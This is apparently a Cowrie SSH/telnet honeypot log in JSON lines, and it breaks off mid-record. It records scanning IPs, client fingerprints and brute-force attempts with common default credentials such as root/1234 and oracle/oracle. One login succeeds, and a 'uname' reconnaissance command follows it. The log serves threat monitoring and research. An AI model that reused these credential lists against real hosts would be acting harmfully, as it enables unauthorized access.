{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34832,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dd6ef093b36","protocol":"telnet","message":"New connection: 69.4.83.194:34832 (159.203.135.109:23) [session: 3dd6ef093b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:57.702028Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":48144,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa99f2bc6021","protocol":"ssh","message":"New connection: 95.38.165.118:48144 (10.17.0.5:22) [session: aa99f2bc6021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:58.618607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:58.624136Z","src_ip":"95.38.165.118","session":"aa99f2bc6021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:58.798471Z","src_ip":"95.38.165.118","session":"aa99f2bc6021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:59.320730Z","src_ip":"95.38.165.118","session":"aa99f2bc6021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:00.497660Z","src_ip":"95.38.165.118","session":"aa99f2bc6021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36280,"dst_ip":"159.203.135.109","dst_port":23,"session":"22d8c82be22e","protocol":"telnet","message":"New connection: 69.4.83.194:36280 (159.203.135.109:23) [session: 22d8c82be22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:01.657909Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":48160,"dst_ip":"10.17.0.5","dst_port":22,"session":"518fc2192f25","protocol":"ssh","message":"New connection: 95.38.165.118:48160 (10.17.0.5:22) [session: 518fc2192f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:04.030764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:04.036465Z","src_ip":"95.38.165.118","session":"518fc2192f25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:04.230802Z","src_ip":"95.38.165.118","session":"518fc2192f25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:04.760957Z","src_ip":"95.38.165.118","session":"518fc2192f25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:06.452392Z","src_ip":"95.38.165.118","session":"518fc2192f25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41950,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2c14aa7453c","protocol":"ssh","message":"New connection: 95.38.165.118:41950 (10.17.0.5:22) [session: f2c14aa7453c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:08.839006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:08.848498Z","src_ip":"95.38.165.118","session":"f2c14aa7453c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:09.762702Z","src_ip":"95.38.165.118","session":"f2c14aa7453c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:10.297406Z","src_ip":"95.38.165.118","session":"f2c14aa7453c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:11.478683Z","src_ip":"95.38.165.118","session":"f2c14aa7453c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":38494,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1ba26fb0166","protocol":"ssh","message":"New connection: 103.98.149.87:38494 (10.17.0.5:22) [session: e1ba26fb0166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:12.043556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:12.248476Z","src_ip":"103.98.149.87","session":"e1ba26fb0166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:12.549847Z","src_ip":"103.98.149.87","session":"e1ba26fb0166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.1218535900116,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:12.975890Z","src_ip":"69.4.83.194","session":"5ea861b8391a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"lobster","message":"login attempt [root/lobster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:13.569424Z","src_ip":"103.98.149.87","session":"e1ba26fb0166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41952,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cce1e85d7cf","protocol":"ssh","message":"New connection: 95.38.165.118:41952 (10.17.0.5:22) [session: 1cce1e85d7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:14.256494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:14.261186Z","src_ip":"95.38.165.118","session":"1cce1e85d7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:14.430038Z","src_ip":"95.38.165.118","session":"1cce1e85d7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:14.910971Z","src_ip":"103.98.149.87","session":"e1ba26fb0166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:14.953002Z","src_ip":"95.38.165.118","session":"1cce1e85d7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:16.132097Z","src_ip":"95.38.165.118","session":"1cce1e85d7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.49646496772766,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:19.335320Z","src_ip":"69.4.83.194","session":"4c47ea2c255b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57862,"dst_ip":"10.17.0.5","dst_port":22,"session":"c03a55c8d4c2","protocol":"ssh","message":"New connection: 95.38.165.118:57862 (10.17.0.5:22) [session: c03a55c8d4c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:19.422829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:19.428057Z","src_ip":"95.38.165.118","session":"c03a55c8d4c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:19.596879Z","src_ip":"95.38.165.118","session":"c03a55c8d4c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:21.253066Z","src_ip":"95.38.165.118","session":"c03a55c8d4c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:22.844429Z","src_ip":"95.38.165.118","session":"c03a55c8d4c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57874,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8b90da564fd","protocol":"ssh","message":"New connection: 95.38.165.118:57874 (10.17.0.5:22) [session: f8b90da564fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:24.721134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:24.731603Z","src_ip":"95.38.165.118","session":"f8b90da564fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:24.886548Z","src_ip":"95.38.165.118","session":"f8b90da564fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:25.530585Z","src_ip":"95.38.165.118","session":"f8b90da564fd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:25.890631Z","src_ip":"95.38.165.118","session":"f8b90da564fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:25.893882Z","src_ip":"95.38.165.118","session":"f8b90da564fd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:26.057110Z","src_ip":"95.38.165.118","session":"f8b90da564fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:26.062002Z","src_ip":"95.38.165.118","session":"f8b90da564fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35050,"dst_ip":"10.17.0.5","dst_port":22,"session":"af0b03bde6bb","protocol":"ssh","message":"New connection: 95.38.165.118:35050 (10.17.0.5:22) [session: af0b03bde6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:29.959525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:29.965002Z","src_ip":"95.38.165.118","session":"af0b03bde6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 